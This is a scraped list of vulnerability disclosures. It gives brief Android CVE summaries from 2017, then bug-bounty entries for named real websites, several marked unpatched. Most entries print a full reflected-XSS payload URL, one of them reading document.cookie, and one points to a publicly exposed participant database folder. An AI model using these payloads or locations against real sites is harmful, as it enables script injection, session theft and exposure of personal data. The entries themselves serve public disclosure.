CVE-2017-0665

CVE-2017-0665 is an Android framework elevation of privilege (EoP) vulnerability affecting Android versions 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2. The issue is listed as high severity with local attack vector but user interaction required, per CVSS. Public details in the Android July...

CVE-2017-0702

A remote code execution vulnerability in the Android system ui. Product: Android. Versions: 7.1.1, 7.1.2. Android ID: A-36621442...

CVE-2017-0676

A remote code execution vulnerability in the Android media framework. Product: Android. Versions: 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2. Android ID: A-34896431...

CVE-2017-0682

A remote code execution vulnerability in the Android media framework. Product: Android. Versions: 7.0, 7.1.1, 7.1.2. Android ID: A-36588422...

CVE-2017-0710

A elevation of privilege vulnerability in the Upstream Linux tcb. Product: Android. Versions: Android kernel. Android ID: A-34951864...

CVE-2017-0704

CVE-2017-0704 affects Android System UI, with Elevation of Privilege in System UI on Android 7.1.1 and 7.1.2. The issue is documented as a System UI EoP vulnerability (CVE-2017-0704) and is listed in the 2017-07-01/07-05 Android security bulletins; patch levels address these issues. The vulnerabi...

CVE-2017-0689

CVE-2017-0689 is a denial-of-service vulnerability in the Android media framework. It affects Android devices running versions 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1 and 7.1.2. The connected documents corroborate that the issue is a DoS in the media framework, with attacker-controlled input possibl...

gamersclub.com.br XSS vulnerability

Vulnerable URL: https://gamersclub.com.br/buscar?busca=a%27aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=--%3E%3C/title%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at 02.10.2017 Latest check for patch:| 02.10.2017...

geilekarre.de XSS vulnerability

Vulnerable URL: https://www.geilekarre.de/index.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 06.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 267845 VIP website status:| No Check geilekarre.de SSL connection:| Grade: A...

cartageous.com XSS vulnerability

Vulnerable URL: http://cartageous.com/?s=a%27aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=--%3E%3C/title%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.09.2017 Vulnerability type:| XSS...

povd.com XSS vulnerability

Vulnerable URL: https://povd.com/galleries/pb01/pb01dakotaskye122713/?nats=%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/;%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

sapling.com XSS vulnerability

Vulnerable URL: https://www.sapling.com/search?q=a%27aa%22%22%3E%3C/title%3E%3C/script%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 40196...

instantluxe.co.uk XSS vulnerability

Vulnerable URL: https://www.instantluxe.co.uk/search?q=aze" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 01.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 616530 VIP website status:| No Check instantluxe.co.uk SSL connection:|...

letras.com.br XSS vulnerability

Vulnerable URL: https://www.letras.com.br/busca.htm?buscar=a%27aa%22%22%3E%3C/title%3E%3C/script%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

bankofireland.com XSS vulnerability

Vulnerable URL: https://www.bankofireland.com/help-centre/search-results/?q=a%27aa%22%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Csvg%2Fonload%3Dprompt%2FOPENBUGBOUNTY%2F%3E Details: Description| Value ---|--- Patched:| Yes, at 02.10.2017 Latest check for patch:| 02.10.2017 09:39 GMT Vulnerability type:...

earthtrip.co.in XSS vulnerability

Vulnerable URL: https://www.earthtrip.co.in/topdestination1.php?city=nashik%22%3E%3Ch1%3EM0ns7er%3C/h1%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C/br%3E=outstation-cabs Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 09:22 GMT...

gnula.com.ar XSS vulnerability

Vulnerable URL: http://gnula.com.ar/?s=a%27aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=%22 Details: Description| Value ---|--- Patched:| Yes, at 02.10.2017 Latest check for patch:| 02.10.2017 09:40 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 44612...

marathondulac-annecy.com Improper Access Control vulnerability

Vulnerable URL: http://www.marathondulac-annecy.com/wp-content/uploads/participants-database/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 04.08.2017 Vulnerability type:| Improper Access Control Vulnerability status:| Publicly disclosed Alexa Rank| 787547 VIP website...

bobevans.com XSS vulnerability

Vulnerable URL: https://www.bobevans.com/search?maxResults=10=%22%2balert%22OPENBUGBOUNTY Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 116081 VIP website status:| Yes Check bobevans.com SSL connection:| Grade:...

tribdem.com XSS vulnerability

Vulnerable URL: http://www.tribdem.com/news'-alert'OPENBUGBOUNTY'-'/college-type-atmosphere-forest-hills-set-to-open-new-building/article1c919dc4-d497-11e6-bca6-d3409d8974fb.html/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.08.2017 Vulnerability type:| XSS...